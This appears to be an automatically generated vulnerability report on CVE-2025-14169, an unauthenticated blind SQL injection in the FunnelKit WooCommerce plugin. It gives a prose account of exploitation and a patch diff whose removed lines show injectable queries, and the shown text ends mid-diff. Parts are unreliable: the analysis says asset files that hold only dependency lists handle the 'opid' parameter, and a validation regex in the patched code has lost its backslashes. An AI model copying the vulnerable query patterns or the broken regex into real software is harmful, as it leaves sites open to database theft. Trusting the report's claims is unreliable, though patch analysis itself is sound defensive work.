Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 7, 2026

CVE-2025-14169: FunnelKit – Funnel Builder for WooCommerce Checkout <= 3.13.1.5 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 3.13.1.5
Patched Version 3.13.1.6
Disclosed December 10, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-14169:

The FunnelKit – Funnel Builder for WooCommerce Checkout plugin for WordPress versions up to and including 3.13.1.5 contains an unauthenticated time-based blind SQL Injection vulnerability. This vulnerability allows unauthenticated attackers to extract sensitive information from the database by injecting SQL queries through the ‘opid’ parameter.

Root Cause: The vulnerability originates from insufficient escaping and lack of prepared statements in SQL queries across multiple files. The critical code is in ‘funnel-builder/contact-analytics/class-wffn-optin-contacts-analytics.php’ within the ‘get_contacts’ method (line 42-54) and ‘get_contacts_optin_records’ method (line 82-112). Additionally, ‘funnel-builder/admin/views/contact/dist/main-20251128093808.asset.php’ and related JavaScript assets handle the ‘opid’ parameter which is passed unsanitized to the backend. The SQL queries use direct string interpolation with user-supplied input without parameterization.

Exploitation: An unauthenticated attacker can exploit this by sending a crafted HTTP request to the WordPress AJAX endpoint or REST API endpoint that processes the ‘opid’ parameter. The attacker injects SQL commands into the ‘opid’ parameter value, which is incorporated into SQL queries without proper sanitization. The blind SQL injection occurs via time-based techniques, where the attacker can use conditional delays (BENCHMARK or SLEEP commands) to infer data character by character based on response timing. The specific vulnerable path passes the ‘opid’ value from JavaScript to the PHP backend endpoint.

Patch Analysis: The patch moves from direct string interpolation to using prepared statements with parameterized queries via $wpdb->prepare(). The diff shows multiple functions were updated to use proper query parameterization. For example, in ‘get_all_contacts_records’, the parameters $funnel_id and $cid are now sanitized with absint() and passed as placeholders in $wpdb->prepare(). The vulnerable string concatenation ‘WHERE optin.funnel_id=$funnel_id AND optin.cid= $cid’ is replaced with ‘WHERE optin.funnel_id = %d AND optin.cid = %d’. Similar fixes apply to ‘get_contacts_optin_records’ and ‘get_contacts_revenue_records’.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the WordPress database, including user credentials, session tokens, API keys, and other configuration data. This can lead to full site compromise, privilege escalation, and data breaches.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/funnel-builder/admin/class-wffn-admin.php
+++ b/funnel-builder/admin/class-wffn-admin.php
@@ -800,7 +800,7 @@
 				wp_enqueue_style( 'wffn-flex-admin', $this->get_admin_url() . '/assets/css/admin.css', array(), WFFN_VERSION_DEV );

 				if ( WFFN_Core()->admin->is_wffn_flex_page() ) {
-					$this->load_react_app( 'main-20251128093808' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
+					$this->load_react_app( 'main-20251209133743' ); //phpcs:ignore WordPressVIPMinimum.Security.Mustache.OutputNotation
 					if ( isset( $_GET['page'] ) && $_GET['page'] === 'bwf' && method_exists( 'BWF_Admin_General_Settings', 'get_localized_bwf_data' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 						wp_localize_script( 'wffn-contact-admin', 'bwfAdminGen', BWF_Admin_General_Settings::get_instance()->get_localized_bwf_data() );

--- a/funnel-builder/admin/views/contact/dist/dashboard.asset.php
+++ b/funnel-builder/admin/views/contact/dist/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'c388de3a08104755531e83b1b763c305');
 No newline at end of file
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'cc74a92c60e3217a0dd5b2f8bb2bc981');
 No newline at end of file
--- a/funnel-builder/admin/views/contact/dist/main-20251128093808.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20251128093808.asset.php
@@ -1 +0,0 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'e42b4be7cad6f97cfbca96170f601fb1');
 No newline at end of file
--- a/funnel-builder/admin/views/contact/dist/main-20251209133743.asset.php
+++ b/funnel-builder/admin/views/contact/dist/main-20251209133743.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-components/build-style/style.css', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-viewport', 'wp-warning'), 'version' => 'a4ae5fab7f4cadcfc5519409b16fb540');
 No newline at end of file
--- a/funnel-builder/admin/views/contact/dist/settings.asset.php
+++ b/funnel-builder/admin/views/contact/dist/settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '2dd68a9a67bf3c69ccef8bf8d44d10ca');
 No newline at end of file
+<?php return array('dependencies' => array('lodash', 'moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-polyfill', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '13c6d5675a4ea3072fcd434ae073d884');
 No newline at end of file
--- a/funnel-builder/contact-analytics/class-wfacp-contacts-analytics.php
+++ b/funnel-builder/contact-analytics/class-wfacp-contacts-analytics.php
@@ -1,14 +1,15 @@
 <?php
-defined( 'ABSPATH' ) || exit; //Exit if accessed directly
+defined( 'ABSPATH' ) || exit; // Exit if accessed directly

 /**
  * Class WFACP_Contacts_Analytics
  */
 if ( ! class_exists( 'WFACP_Contacts_Analytics' ) ) {
-	class WFACP_Contacts_Analytics extends WFFN_REST_Controller{
+	class WFACP_Contacts_Analytics extends WFFN_REST_Controller {

 		/**
 		 * instance of class
+		 *
 		 * @var null
 		 */
 		private static $ins = null;
@@ -36,15 +37,15 @@
 		 *
 		 * @return array|object|null
 		 */
-		public function get_contacts($funnel_id, $search = '') {
+		public function get_contacts( $funnel_id, $search = '' ) {
 			global $wpdb;

 			if ( ! empty( $search ) ) {
-				$query = $wpdb->prepare( "SELECT contact.id as cid, contact.f_name, contact.l_name, contact.email, aero.date, aero.total_revenue, aero.wfacp_id FROM " . $wpdb->prefix . 'bwf_contact' . " AS contact JOIN " . $wpdb->prefix . 'wfacp_stats' . " AS aero ON contact.id=aero.cid WHERE aero.fid=%d", $funnel_id );
-				$query .= $wpdb->prepare( " AND (contact.f_name LIKE %s OR contact.email LIKE %s) group by contact.id", "%" . $search . "%", "%" . $search . "%" );
+				$query  = $wpdb->prepare( 'SELECT contact.id as cid, contact.f_name, contact.l_name, contact.email, aero.date, aero.total_revenue, aero.wfacp_id FROM ' . $wpdb->prefix . 'bwf_contact' . ' AS contact JOIN ' . $wpdb->prefix . 'wfacp_stats' . ' AS aero ON contact.id=aero.cid WHERE aero.fid=%d', $funnel_id );
+				$query .= $wpdb->prepare( ' AND (contact.f_name LIKE %s OR contact.email LIKE %s) group by contact.id', '%' . $search . '%', '%' . $search . '%' );

 			} else {
-				$query = $wpdb->prepare( "SELECT aero.cid FROM " . $wpdb->prefix . 'wfacp_stats' . " AS aero WHERE aero.fid=%d", $funnel_id );
+				$query = $wpdb->prepare( 'SELECT aero.cid FROM ' . $wpdb->prefix . 'wfacp_stats' . ' AS aero WHERE aero.fid=%d', $funnel_id );
 			}

 			return $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
@@ -59,12 +60,17 @@
 		 */
 		public function get_all_contacts_records( $funnel_id, $cid ) {
 			global $wpdb;
-			$item_data = [];
-			$funnel_id = ! empty( $funnel_id ) ? absint( $funnel_id ) : $funnel_id;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query     = "SELECT aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name',aero.total_revenue as 'total_revenue',DATE_FORMAT(aero.date, '%Y-%m-%dT%TZ') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats' . " AS aero LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON aero.wfacp_id  = p.id WHERE aero.fid=$funnel_id AND aero.cid=$cid order by aero.date asc";
+			$item_data = array();
+			$funnel_id = absint( $funnel_id );
+			$cid       = absint( $cid );
+
+			$query = $wpdb->prepare(
+				"SELECT aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name', aero.total_revenue as 'total_revenue', DATE_FORMAT(aero.date, '%%Y-%%m-%%dT%%TZ') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats AS aero LEFT JOIN ' . $wpdb->prefix . 'posts as p ON aero.wfacp_id = p.id WHERE aero.fid = %d AND aero.cid = %d ORDER BY aero.date ASC',
+				$funnel_id,
+				$cid
+			);

-			$order_data = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$order_data = $wpdb->get_results( $query );
 			$db_error   = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -77,27 +83,35 @@
 			$get_order_ids = wp_list_pluck( $order_data, 'order_id' );

 			if ( is_array( $get_order_ids ) && count( $get_order_ids ) > 0 ) {
-
-				/**
-				 * get order all items meta by order id for showing name and quantity
-				 */
-				$item_query = "SELECT oi.order_id as 'order_id', oi.order_item_name as 'product_name', oi.order_item_id as 'item_id', oim2.meta_key as 'item_meta', oim2.meta_value as 'meta_value' FROM " . $wpdb->prefix . "woocommerce_order_items as oi
-                        LEFT JOIN " . $wpdb->prefix . "woocommerce_order_itemmeta as oim ON oi.order_item_id = oim.order_item_id
-                        LEFT JOIN " . $wpdb->prefix . "woocommerce_order_itemmeta as oim2 ON oi.order_item_id = oim2.order_item_id
-                        WHERE  oi.order_id IN (" . esc_sql( implode( ',', $get_order_ids ) ) . ") AND oi.order_item_type='line_item' AND oim.meta_key='_line_total' ORDER BY oi.order_id ASC";
-
-				$item_data = $wpdb->get_results( $item_query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
-				$db_error  = WFFN_Common::maybe_wpdb_error( $wpdb );
-				if ( true === $db_error['db_error'] ) {
-					return $db_error;
+				// Sanitize order IDs
+				$get_order_ids = array_map( 'absint', $get_order_ids );
+				$get_order_ids = array_filter( $get_order_ids );
+
+				if ( ! empty( $get_order_ids ) ) {
+					/**
+					 * get order all items meta by order id for showing name and quantity
+					 */
+					$placeholders = implode( ',', array_fill( 0, count( $get_order_ids ), '%d' ) );
+					$item_query   = $wpdb->prepare(
+						"SELECT oi.order_id as 'order_id', oi.order_item_name as 'product_name', oi.order_item_id as 'item_id', oim2.meta_key as 'item_meta', oim2.meta_value as 'meta_value' FROM " . $wpdb->prefix . 'woocommerce_order_items as oi
+						LEFT JOIN ' . $wpdb->prefix . 'woocommerce_order_itemmeta as oim ON oi.order_item_id = oim.order_item_id
+						LEFT JOIN ' . $wpdb->prefix . "woocommerce_order_itemmeta as oim2 ON oi.order_item_id = oim2.order_item_id
+						WHERE oi.order_id IN ($placeholders) AND oi.order_item_type='line_item' AND oim.meta_key='_line_total' ORDER BY oi.order_id ASC",
+						...$get_order_ids
+					);
+
+					$item_data = $wpdb->get_results( $item_query, ARRAY_A );
+					$db_error  = WFFN_Common::maybe_wpdb_error( $wpdb );
+					if ( true === $db_error['db_error'] ) {
+						return $db_error;
+					}
 				}
-
 			}

 			/**
 			 * Exclude which items purchased by bump and upsell
 			 */
-			$exclude_items     = [];
+			$exclude_items     = array();
 			$upstroke_purchase = array_keys( wp_list_pluck( $item_data, 'item_meta' ), '_upstroke_purchase', true );
 			$bump_purchase     = array_keys( wp_list_pluck( $item_data, 'item_meta' ), '_bump_purchase', true );
 			if ( is_array( $upstroke_purchase ) && count( $upstroke_purchase ) > 0 ) {
@@ -117,12 +131,11 @@
 							}
 						}
 					}
-
 				}
 			}

 			foreach ( $order_data as &$order ) {
-				$get_names = [];
+				$get_names = array();
 				if ( is_array( $item_data ) && count( $item_data ) > 0 ) {
 					foreach ( $item_data as $item_i ) {
 						if ( isset( $item_i['order_id'] ) && ( $order->order_id === $item_i['order_id'] ) && '_qty' === $item_i['item_meta'] ) {
@@ -152,11 +165,28 @@

 		public function get_contacts_revenue_records( $cid, $order_ids ) {
 			global $wpdb;
-			$cid       = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$order_ids = ! empty( $order_ids ) ? esc_sql( $order_ids ) : $order_ids;
-			$query     = "SELECT aero.fid as fid, aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name',aero.total_revenue as 'total_revenue',DATE_FORMAT(aero.date, '%Y-%m-%d %T') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats' . " AS aero LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON aero.wfacp_id  = p.id WHERE aero.order_id IN ( $order_ids ) AND aero.cid=$cid order by aero.date asc";
+			$cid = absint( $cid );
+
+			// Handle order_ids - can be comma-separated string or array
+			if ( is_string( $order_ids ) ) {
+				$order_ids_array = array_map( 'absint', array_filter( explode( ',', $order_ids ) ) );
+			} else {
+				$order_ids_array = array_map( 'absint', (array) $order_ids );
+			}
+
+			if ( empty( $order_ids_array ) ) {
+				return array();
+			}
+
+			$placeholders = implode( ',', array_fill( 0, count( $order_ids_array ), '%d' ) );
+			$query_args   = array_merge( $order_ids_array, array( $cid ) );

-			$data     = $wpdb->get_results( $query ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$query = $wpdb->prepare(
+				"SELECT aero.fid as fid, aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name', aero.total_revenue as 'total_revenue', DATE_FORMAT(aero.date, '%%Y-%%m-%%d %%T') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats AS aero LEFT JOIN ' . $wpdb->prefix . "posts as p ON aero.wfacp_id = p.id WHERE aero.order_id IN ($placeholders) AND aero.cid = %d ORDER BY aero.date ASC",
+				...$query_args
+			);
+
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -172,22 +202,26 @@
 		 */
 		public function get_all_contact_record_by_cid( $cid ) {
 			global $wpdb;
-			$cid   = ! empty( $cid ) ? absint( $cid ) : $cid;
-			$query = "SELECT aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name',aero.total_revenue as 'total_revenue',DATE_FORMAT(aero.date, '%Y-%m-%dT%TZ') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats' . " AS aero LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON aero.wfacp_id  = p.id WHERE aero.cid=$cid order by aero.date asc";
+			$cid = absint( $cid );
+
+			$query = $wpdb->prepare(
+				"SELECT aero.order_id as 'order_id', aero.wfacp_id as 'object_id', p.post_title as 'object_name', aero.total_revenue as 'total_revenue', DATE_FORMAT(aero.date, '%%Y-%%m-%%dT%%TZ') as 'date', 'checkout' as 'type' FROM " . $wpdb->prefix . 'wfacp_stats AS aero LEFT JOIN ' . $wpdb->prefix . 'posts as p ON aero.wfacp_id = p.id WHERE aero.cid = %d ORDER BY aero.date ASC',
+				$cid
+			);

-			$data     = $wpdb->get_results( $query );//phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$data     = $wpdb->get_results( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
 			}

 			if ( ! empty( $data[0]->order_id ) ) {
-				$order_products = ! empty( wc_get_order( $data[0]->order_id ) ) ? wffn_rest_funnel_modules()->get_first_item( $data[0]->order_id ) : [];
+				$order_products = ! empty( wc_get_order( $data[0]->order_id ) ) ? wffn_rest_funnel_modules()->get_first_item( $data[0]->order_id ) : array();
 				if ( ! empty( $order_products ) ) {
 					$data[0]->product_name = $order_products['title'];
 					$data[0]->product_qty  = $order_products['more'];
 				}
-			} else if ( ! empty( $data[0] ) ) {
+			} elseif ( ! empty( $data[0] ) ) {
 				$data[0]->product_name = '';
 				$data[0]->product_qty  = '';
 			}
@@ -202,11 +236,14 @@
 		 */
 		public function export_aero_data_order_id( $order_id ) {
 			global $wpdb;
+			$order_id = absint( $order_id );

-			$order_id = ! empty( $order_id ) ? absint( $order_id ) : $order_id;
-			$filter   = "aero.wfacp_id as 'id', p.post_title as 'checkout_name', '' as 'checkout_products', '' as 'checkout_coupon', aero.order_id as 'checkout_order_id', aero.total_revenue as 'checkout_total'";
-			$query    = "SELECT " . $filter . " FROM " . $wpdb->prefix . 'wfacp_stats' . " AS aero LEFT JOIN " . $wpdb->prefix . 'posts' . " as p ON aero.wfacp_id  = p.id WHERE  aero.order_id={$order_id} order by aero.id asc";
-			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$query = $wpdb->prepare(
+				"SELECT aero.wfacp_id as 'id', p.post_title as 'checkout_name', '' as 'checkout_products', '' as 'checkout_coupon', aero.order_id as 'checkout_order_id', aero.total_revenue as 'checkout_total' FROM " . $wpdb->prefix . 'wfacp_stats AS aero LEFT JOIN ' . $wpdb->prefix . 'posts as p ON aero.wfacp_id = p.id WHERE aero.order_id = %d ORDER BY aero.id ASC',
+				$order_id
+			);
+
+			$data     = $wpdb->get_results( $query, ARRAY_A );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return false;
@@ -223,14 +260,13 @@
 		 *
 		 * @return string
 		 */
-		public function get_contacts_by_funnel_id($funnel_id, $start_date, $end_date, $is_interval = '') {
+		public function get_contacts_by_funnel_id( $funnel_id, $start_date, $end_date, $is_interval = '' ) {
 			global $wpdb;
 			$date           = ( '' !== $start_date && '' !== $end_date ) ? " AND `date` >= '" . esc_sql( $start_date ) . "' AND `date` < '" . esc_sql( $end_date ) . "' " : '';
-			$funnel_query   = ( 0 === intval( $funnel_id ) ) ? " AND fid != " . esc_sql( $funnel_id ) . " " : " AND fid = " . esc_sql( $funnel_id ) . " ";
+			$funnel_query   = ( 0 === intval( $funnel_id ) ) ? ' AND fid != ' . esc_sql( $funnel_id ) . ' ' : ' AND fid = ' . esc_sql( $funnel_id ) . ' ';
 			$interval_param = ! empty( $is_interval ) ? ', date as p_date ' : '';

-
-			return "SELECT DISTINCT cid as contacts " . $interval_param . " FROM `" . $wpdb->prefix . "wfacp_stats` WHERE 1=1 " . $date . " " . $funnel_query;
+			return 'SELECT DISTINCT cid as contacts ' . $interval_param . ' FROM `' . $wpdb->prefix . 'wfacp_stats` WHERE 1=1 ' . $date . ' ' . $funnel_query;
 		}

 		/**
@@ -242,10 +278,10 @@
 		 *
 		 * @return array|false[]|object|stdClass|null
 		 */
-		public function get_total_orders($funnel_id, $start_date, $end_date, $is_interval = '', $int_request = '') {
+		public function get_total_orders( $funnel_id, $start_date, $end_date, $is_interval = '', $int_request = '' ) {
 			global $wpdb;
-			$funnel_id = ( $funnel_id !== '' ) ? " AND fid = " . esc_sql( $funnel_id ) . " " : " AND fid != 0 ";
-			$date      = ( '' !== $start_date && '' !== $end_date ) ? " AND `date` >= '" . esc_sql($start_date ) . "' AND `date` < '" . esc_sql( $end_date ) . "' " : '';
+			$funnel_id = ( $funnel_id !== '' ) ? ' AND fid = ' . esc_sql( $funnel_id ) . ' ' : ' AND fid != 0 ';
+			$date      = ( '' !== $start_date && '' !== $end_date ) ? " AND `date` >= '" . esc_sql( $start_date ) . "' AND `date` < '" . esc_sql( $end_date ) . "' " : '';

 			$interval_query = '';
 			$group_by       = '';
@@ -255,12 +291,12 @@
 					$get_interval   = $this->get_interval_format_query( $int_request, 'date' );
 					$interval_query = $get_interval['interval_query'];
 					$interval_group = $get_interval['interval_group'];
-					$group_by       = " GROUP BY " . $interval_group;
+					$group_by       = ' GROUP BY ' . $interval_group;

 				}
 			}

-			$query    = "SELECT  COUNT(ID) as total_orders " . $interval_query . " FROM `" . $wpdb->prefix . "wfacp_stats` WHERE 1=1 " . $date . $funnel_id . $group_by . " ORDER BY id ASC";
+			$query    = 'SELECT  COUNT(ID) as total_orders ' . $interval_query . ' FROM `' . $wpdb->prefix . 'wfacp_stats` WHERE 1=1 ' . $date . $funnel_id . $group_by . ' ORDER BY id ASC';
 			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
@@ -278,11 +314,24 @@
 		 *
 		 * @return string
 		 */
-		public function get_timeline_data_query($limit, $order = "DESC", $order_by = 'date') {
+		public function get_timeline_data_query( $limit, $order = 'DESC', $order_by = 'date' ) {
 			global $wpdb;
-			$limit = ( $limit !== '' ) ? " LIMIT " . esc_sql( $limit ) : '';

-			return "SELECT stats.wfacp_id as id, stats.fid as 'fid', stats.cid as 'cid', stats.order_id as 'order_id', CONVERT( stats.total_revenue USING utf8) as 'total_revenue', 'aero' as 'type', posts.post_title as 'post_title', stats.date as date FROM " . $wpdb->prefix . "wfacp_stats as stats LEFT JOIN " . $wpdb->prefix . "posts as posts ON stats.wfacp_id = posts.ID ORDER BY " . esc_sql( $order_by ) . " " . esc_sql( $order ) . " " . $limit;
+			// Whitelist allowed ORDER BY columns to prevent SQL injection
+			$allowed_order_by = array( 'date', 'id', 'fid', 'cid', 'order_id', 'total_revenue' );
+			$order_by         = in_array( $order_by, $allowed_order_by, true ) ? $order_by : 'date';
+
+			// Whitelist ORDER direction
+			$order = strtoupper( $order );
+			$order = in_array( $order, array( 'ASC', 'DESC' ), true ) ? $order : 'DESC';
+
+			// Sanitize LIMIT - ensure it's a positive integer
+			$limit_clause = '';
+			if ( '' !== $limit && is_numeric( $limit ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit );
+			}
+
+			return "SELECT stats.wfacp_id as id, stats.fid as 'fid', stats.cid as 'cid', stats.order_id as 'order_id', CONVERT( stats.total_revenue USING utf8) as 'total_revenue', 'aero' as 'type', posts.post_title as 'post_title', stats.date as date FROM " . $wpdb->prefix . 'wfacp_stats as stats LEFT JOIN ' . $wpdb->prefix . 'posts as posts ON stats.wfacp_id = posts.ID ORDER BY ' . $order_by . ' ' . $order . $limit_clause;
 		}

 		/**
@@ -291,16 +340,32 @@
 		 *
 		 * @return array|false[]|object|stdClass[]|null
 		 */
-		public function get_top_funnels($limit = '', $date_query = '') {
+		public function get_top_funnels( $limit = '', $date_query = '' ) {
 			global $wpdb;
-			$limit      = ( $limit !== '' ) ? " LIMIT " . esc_sql( $limit ) : '';
+
+			// Sanitize LIMIT - ensure it's a positive integer
+			$limit_clause = '';
+			if ( '' !== $limit && is_numeric( $limit ) ) {
+				$limit_clause = ' LIMIT ' . absint( $limit );
+			}
+
+			// Note: $date_query is expected to be a pre-built date condition
+			// It should only contain 'stats.date' column comparisons with date values
 			$date_query = str_replace( '{{COLUMN}}', 'stats.date', $date_query );
-			$query      = "SELECT funnel.id as fid, funnel.title as title, stats.total as total FROM " . $wpdb->prefix . "bwf_funnels AS funnel
-			JOIN ( SELECT fid, SUM( total_revenue ) as total FROM " . $wpdb->prefix . "wfacp_stats as stats
-			WHERE fid != 0 AND " . esc_sql( $date_query ) . " group by fid ) as stats ON funnel.id = stats.fid WHERE 1 = 1 GROUP BY funnel.id ORDER BY total DESC " . $limit;

+			// Security: Only allow safe date query patterns
+			// Expected format: "stats.date >= 'YYYY-MM-DD' AND stats.date < 'YYYY-MM-DD'"
+			if ( ! empty( $date_query ) && ! preg_match( '/^stats.dates*[<>=]+s*'[d-s:]+'(s+ANDs+stats.dates*[<>=]+s*'[d-s:]+')*$/i', $date_query ) ) {
+				$date_query = '1=1'; // Fallback to safe condition if pattern doesn't match
+			}
+
+			$date_condition = ! empty( $date_query ) ? $date_query : '1=1';

-			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			$query = 'SELECT funnel.id as fid, funnel.title as title, stats.total as total FROM ' . $wpdb->prefix . 'bwf_funnels AS funnel
+			JOIN ( SELECT fid, SUM( total_revenue ) as total FROM ' . $wpdb->prefix . 'wfacp_stats as stats
+			WHERE fid != 0 AND ' . $date_condition . ' GROUP BY fid ) as stats ON funnel.id = stats.fid WHERE 1 = 1 GROUP BY funnel.id ORDER BY total DESC' . $limit_clause;
+
+			$data     = $wpdb->get_results( $query, ARRAY_A ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- date_query is validated above
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -315,16 +380,34 @@
 		 *
 		 * @return array|false[]|true
 		 */
-		public function delete_contact($cids, $funnel_id = 0) {
+		public function delete_contact( $cids, $funnel_id = 0 ) {
 			global $wpdb;
-			$cid_count                = count( $cids );
-			$stringPlaceholders       = array_fill( 0, $cid_count, '%s' );
-			$placeholdersForFavFruits = implode( ',', $stringPlaceholders );
-			$funnel_query             = ( absint( $funnel_id ) > 0 ) ? " AND fid = " . $funnel_id . " " : '';

-			$query = "DELETE FROM " . $wpdb->prefix . "wfacp_stats WHERE cid IN( " . $placeholdersForFavFruits . " ) " . $funnel_query;
+			// Sanitize all cids as integers
+			$cids      = array_map( 'absint', (array) $cids );
+			$cids      = array_filter( $cids ); // Remove zeros
+			$cid_count = count( $cids );
+
+			if ( empty( $cid_count ) ) {
+				return true;
+			}
+
+			$placeholders = implode( ',', array_fill( 0, $cid_count, '%d' ) );
+			$funnel_id    = absint( $funnel_id );

-			$wpdb->query( $wpdb->prepare( $query, $cids ) ); //phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+			if ( $funnel_id > 0 ) {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "wfacp_stats WHERE cid IN ($placeholders) AND fid = %d",
+					...array_merge( $cids, array( $funnel_id ) )
+				);
+			} else {
+				$query = $wpdb->prepare(
+					'DELETE FROM ' . $wpdb->prefix . "wfacp_stats WHERE cid IN ($placeholders)",
+					...$cids
+				);
+			}
+
+			$wpdb->query( $query );
 			$db_error = WFFN_Common::maybe_wpdb_error( $wpdb );
 			if ( true === $db_error['db_error'] ) {
 				return $db_error;
@@ -338,8 +421,8 @@
 		 */
 		public function reset_analytics( $funnel_id ) {
 			global $wpdb;
-			$query = $wpdb->prepare( "DELETE FROM " . $wpdb->prefix . "wfacp_stats WHERE fid = %d", $funnel_id );
+			$query = $wpdb->prepare( 'DELETE FROM ' . $wpdb->prefix . 'wfacp_stats WHERE fid = %d', $funnel_id );
 			$wpdb->query( $query );
 		}
 	}
-}
 No newline at end of file
+}
--- a/funnel-builder/contact-analytics/class-wffn-optin-contacts-analytics.php
+++ b/funnel-builder/contact-analytics/class-wffn-optin-contacts-analytics.php
@@ -1,5 +1,5 @@
 <?php
-defined( 'ABSPATH' ) || exit; //Exit if accessed directly
+defined( 'ABSPATH' ) || exit; // Exit if accessed directly

 /**
  * Class WFFN_Optin_Contacts_Analytics
@@ -10,6 +10,7 @@

 		/**
 		 * instance of class
+		 *
 		 * @var null
 		 */
 		private static $ins = null;
@@ -41,11 +42,11 @@
 			global $wpdb;

 			if ( ! empty( $search ) ) {
-				$query = $wpdb->prepare("SELECT contact.id as cid, contact.f_name, contact.l_name, contact.email, optin.date, optin.opid FROM " . $wpdb->prefix . 'bwf_contact' . " AS contact JOIN " . $wpdb->prefix . 'bwf_optin_entries' . " AS optin ON contact.id=optin.cid WHERE optin.funnel_id=%d", $funnel_id );
-				$query .= $wpdb->prepare( " AND (contact.f_name LIKE %s OR contact.email LIKE %s) group by contact.id", "%" . $search . "%", "%" . $search . "%" );
+				$query  = $wpdb->prepare( 'SELECT contact.id as cid, contact.f_name, contact.l_name, contact.email, optin.date, optin.opid FROM ' . $wpdb->prefix . 'bwf_contact' . ' AS contact JOIN ' . $wpdb->prefix . 'bwf_optin_entries' . ' AS optin ON contact.id=optin.cid WHERE optin.funnel_id=%d', $funnel_id );
